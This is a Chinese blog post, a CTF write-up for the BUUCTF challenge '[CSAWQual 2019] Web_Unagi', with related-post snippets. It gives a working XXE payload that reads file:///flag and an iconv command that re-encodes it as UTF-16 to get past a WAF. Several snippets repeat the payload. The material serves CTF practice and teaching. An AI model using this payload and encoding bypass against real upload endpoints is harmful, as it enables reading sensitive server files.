BUUCTF：[CSAWQual 2019]Web_Unagi

最新推荐文章于 2024-04-18 22:49:52 发布
最新推荐文章于 2024-04-18 22:49:52 发布
阅读量1.8k 收藏 2
点赞数 2
分类专栏： CTF_WEB_Writeup
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/mochu7777777/article/details/105337784
版权

XXE编码转换为UTF-16绕过
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
2.xml

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>  
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
</users>

iconv -f utf8 -t utf16 2.xml>1.xml

在这里插入图片描述
在这里插入图片描述

末 初
关注
  • 2
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
unagi:无的WordPress仪表板
03-04
Unagi是一个WordPress插件，可帮助您保持管理仪表板的清洁。 这是一个零配置的插件，只需激活并清除它。 Unagi-“这不是您的本领，而是您所拥有的。” 它是如何工作的？ 它缓冲连接到admin_notices操作的所有输出...
BUUCTF--[CSAWQual 2019]Web_Unagi
qq_46263951的博客
07-22 313
进入页面后看到一个Upload 看到给出的提示是让我们上传一个XML文件,刚好今天做了一个关于XML的XXE漏洞的题,底下贴链接,漏洞点为 给出提示flag在/flag中,所以构造出的payload为 <?xml version='1.0'?> <!DOCTYPE users [ <!ENTITY xxe SYSTEM "file:///flag" >]> <users> <user> <userna.
BUUCTF [CSAWQual 2019]Web_Unagi 1
weixin_45642610的博客
09-09 493
BUUCTF [CSAWQual 2019]Web_Unagi 1 提示在/flag 有提示了上传xml文件及其格式 直接用之前xml注入的上传即可。 改文件名为1.xml上传即可得flag <?xml version='1.0'?> <!DOCTYPE users [ <!ENTITY xxe SYSTEM "file:///flag" >]> <users> <user> <username>&xx
buuctf(web)部分实操题和知识点
最新发布
Z11762的博客
04-18 651
这里跟前面做过的一个看后端源码的题很相似，就是：PHP的文件包含函数有一个「特性」，被包含的文件内容中，如果是「代码」则会执行，而不会在页面中展示；针对这一特性，我们可以使用PHP伪协议对文件内容进行「编码」，编码后的文件内容由于不能被执行，会展示在页面中，而后再将页面中的内容复制到本地进行「解码」，即可查看文件内容，拿到 flag。"https://Sycsecret.buuoj.cn" 是一个URL，指向一个名为 "Sycsecret.buuoj.cn" 的网站或资源。之后界面显示“No!
[CSAWQual 2019]Web_Unagi
shinygod的博客
04-15 583
知识点：xxe外部实体注入和绕过waf 告诉我们要传一个xml文件，并且相应的样式信息也出来了。 flag在/flag下 构造xml <?xml version='1.0'?> <!DOCTYPE users [ <!ENTITY xxe SYSTEM "file:///flag" >]> <users> <user> <username>gg</username> <pa
BUUCTF:[CSAWQual 2019]Web_Unagi
../../../../../../../
06-08 1003
打开界面 看看其他有什么内容： 来看看格式事例： 从信息提示我们可以知道要通过编写xml文件上传 即通过XXE编码转换成utf-16编码绕过 我们可以利用vim编辑xml文件（取名为2.xml) 构造payload如下： <?xml version='1.0'?> <!DOCTYPE users [ <!ENTITY xxe SYSTEM "file:///flag" >]> <users> <user> <
unagi:现代浏览器上的RPG编辑器
05-04
a木 现代浏览器上的RPG编辑器 环境 到目前为止，仅在Mac OS X Chrome上对此进行了测试。 怎么跑 要求 脚步 运行./build.sh 运行go run testserver.go 访问
unagi:搜索和下载Hyper Suprime-Cam（HSC）斯巴鲁战略调查（SSP）中的数据
05-02
乌纳吉（ウナギ） 除了是世界上最美味的鱼的一个， unagi还可以帮助您通过浏览或了Hyper Suprime-CAM（HSC）斯巴鲁战略...2019/06/03：添加了对HSC PDR2的支持（需要更多测试） PDR2_DUD和PDR2_WIDE重新运行中的所有
-Unagi-Ingress-Hackathon
02-14
-Unagi-Ingress-Hackathon
Python库 | unagi-0.1.3.dev3.tar.gz
05-24
资源分类：Python库 所属语言：Python 资源全名：unagi-0.1.3.dev3.tar.gz 资源来源：官方 安装方法：https://lanzao.blog.csdn.net/article/details/101784059
buuctf_练[CSAWQual 2019]Web_Unagi
m0_66225311的博客
10-26 236
`XXE`漏洞利用，`xml`文件转换编码绕过`WAF`(UTF-8 --> UTF-16)，`xml`文件格式的书写
[CSAWQual 2019]Web_Unagi - 文件上传+XXE注入(XML编码绕过)
oZuoShen123的博客
10-10 1268
alice passwd1 Alice [email protected] CSAW2019 bob passwd2 Bob [email protected]
[CSAWQual 2019]Web_Unagi xxe转码绕过waf
qq_54929891的博客
04-28 1333
搜索给我们的信息 flag在flag下面，可能要用到文件读取或者系统命令 可以看到它叫我们上传一个xml文件，应该是xxe漏洞了 这里应该是提示我们会回显哪些属性，可以看到password没有显示出来 利用之前的XXE模板https://xz.aliyun.com/t/6887#toc-0 <?xml version='1.0'?> <!DOCTYPE users [ <!ENTITY xxe SYSTEM "file:///flag" >]&gt.
[CSAWQual 2019]Web_Unagi XXE漏洞 [HarekazeCTF2019]Avatar Uploader 1 finfo_file和getimagesize
scrawman的博客
01-27 2793
[CSAWQual 2019]Web_Unagi 看提示有告诉你xml的格式 <?xml version='1.0'?> <!DOCTYPE users [ <!ENTITY xxe SYSTEM "file:///flag" >]> <users> <user> <username>bob</username> <password>passwd2</passwor
BUUCTF：[CSCCTF 2019 Qual]FlaskLight
末初的CSDN博客
07-26 2712
题目地址：https://buuoj.cn/challenges#[CSCCTF%202019%20Qual]FlaskLight ?search={{7*7}} #通过回显判断SSTI ?search={{''.__class__.__mro__[2].__subclasses__()}} #爆出所有类 编写脚本查找可利用的类 利用subprocess.Popen执行命令 import requests import re import html import time index = 0 f
cscctf_2019_final_childrenheap(house of orange)
seaaseesa的博客
04-30 638
cscctf_2019_final_childrenheap 首先，检查一下程序的保护机制 然后用IDA分析一下 Update功能存在一个null off by one 禁用了fastbin，因此不能fastbin attack。那么可以利用house of orange或者large bin attack，个人认为house of orange较为简单一些。 利用null ...
[CSAWQual 2019]Unagi
07-27
回答: 在CSAWQual 2019比赛中，关于Unagi的问题，根据引用\[1\]、\[2\]和\[3\]的内容，Unagi是一个涉及XML注入的题目。参赛者需要利用之前的XXE模板或者自己构造的XML文件，通过上传恶意的XML文件来获取flag。具体的操作是将文件名改为1.xml，然后上传即可得到flag。\[1\]\[2\]\[3\] #### 引用[.reference_title] - *1* [[CSAWQual 2019]Web_Unagi xxe转码绕过waf](https://blog.csdn.net/qq_54929891/article/details/124481254)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [[CSAWQual 2019]Web_Unagi](https://blog.csdn.net/m0_62905261/article/details/126189583)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [BUUCTF [CSAWQual 2019]Web_Unagi 1](https://blog.csdn.net/weixin_45642610/article/details/120201638)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

末 初

谢谢老板！

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值